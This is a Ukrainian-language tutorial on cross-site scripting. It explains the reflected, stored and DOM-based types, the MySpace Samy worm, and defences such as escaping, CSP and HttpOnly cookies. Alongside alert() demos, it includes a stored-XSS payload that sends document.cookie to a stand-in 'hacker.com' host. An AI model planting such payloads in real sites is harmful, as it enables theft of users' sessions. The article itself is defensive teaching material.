🔥 Що таке XSS?
XSS (Cross-Site Scripting) — це вразливість у веб-застосунках, яка дозволяє зловмисникам вставляти шкідливий скрипт у веб-сторінку, яку переглядає інший користувач. Це може призвести до викрадення даних, зміни вмісту сторінки або виконання довільних дій від імені жертви.
⚙️ Як працює XSS-атака?
XSS-атака використовує слабкість у фільтрації або екрануванні введених користувачем даних. Якщо веб-додаток не обробляє введення належним чином, зловмисник може вставити шкідливий JavaScript-код, який браузер жертви виконає як частину легітимної сторінки.
Наприклад, якщо на сайті є форма зворотного зв’язку, яка відображає коментар без фільтрації, зловмисник може вставити:
<script>alert('Ваша сесія викрадена!');</script>
Якщо сторінка відобразить цей код без обробки, браузер жертви виконає його.
🛠️ Типи XSS-атак
1️⃣ Reflected XSS (відображений XSS)
Цей тип атак спрацьовує, коли шкідливий код міститься у запиті (наприклад, у URL) і відразу ж відображається на сторінці.
📌 Як працює:
- Зловмисник створює спеціальний URL із шкідливим кодом, наприклад:
https://example.com/search?q=<script>alert('XSS')</script>
- Жертва переходить за цим посиланням.
- Сервер відображає введене значення у відповіді без фільтрації.
- Браузер виконує шкідливий код.
🛡️ Захист:
- Використовувати фільтрацію вводу (sanitize input).
- Використовувати Content Security Policy (CSP).
- Не виводити введені користувачем дані без екранування.
2️⃣ Stored XSS (збережений XSS)
Цей вид XSS є найнебезпечнішим, оскільки шкідливий код зберігається в базі даних або на сервері та відображається кожному користувачу, який відкриває сторінку.
📌 Як працює:
- Зловмисник вставляє скрипт через форму введення (наприклад, у коментарях або відгуках):
<script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script>
- Цей код зберігається в базі даних.
- Коли жертва відкриває сторінку, скрипт виконується і, наприклад, відправляє її cookies зловмиснику.
🛡️ Захист:
- Використовувати екранування спеціальних символів (наприклад,
<
,>
,"
). - Перевіряти тип введених даних (не дозволяти вставляти HTML/JS там, де цього не потрібно).
- Використовувати HTTPOnly-кукі, щоб JavaScript не міг їх читати.
3️⃣ DOM-based XSS
Ця атака не залежить від сервера, а використовує слабкість у коді JavaScript на клієнті.
📌 Як працює:
- Зловмисник змінює URL:
https://example.com/#<script>alert('XSS')</script>
- JavaScript на сторінці неправильно обробляє
window.location.hash
і вставляє його в DOM без перевірки. - Браузер жертви виконує код.
🛡️ Захист:
- Використовувати
textContent
замістьinnerHTML
для вставки даних у DOM. - Фільтрувати введені дані ще до їх використання в JavaScript.
🎯 Приклади реальних атак
📌 Злом MySpace через XSS
У 2005 році зловмисник Семмі Камкар створив “саморозмножувальний XSS-черв’як”. Він розмістив у своєму профілі скрипт, який:
- Додавав його у друзі кожного, хто переглядав профіль.
- Автоматично копіював себе в їхні профілі.
Через 24 години понад 1 мільйон користувачів MySpace стали “друзями” Семмі.
🔒 Як захиститися від XSS?
✅ Фільтрація вводу
- Використовувати бібліотеки для екранування, наприклад, DOMPurify.
- Видаляти або екранувати небезпечні символи (
<
,>
,"
,'
,/
).
✅ Обмеження використання innerHTML
- Використовувати
textContent
абоcreateTextNode()
замістьinnerHTML
.
✅ Content Security Policy (CSP)
- Заборонити виконання inline-скриптів:
Content-Security-Policy: default-src 'self'
✅ HttpOnly-кукі
- Забороняє JavaScript доступ до cookies:
Set-Cookie: session=abc123; HttpOnly; Secure
✅ Escaping в шаблонах
- Використовувати Vue/React/Angular, які автоматично екранують небезпечні символи.
🏆 Висновок
XSS — це серйозна вразливість, яка може призвести до витоку даних, компрометації користувачів і зараження сайту шкідливими скриптами. Правильна фільтрація вводу, екранування, CSP і безпечні кукі допоможуть захиститися від атак.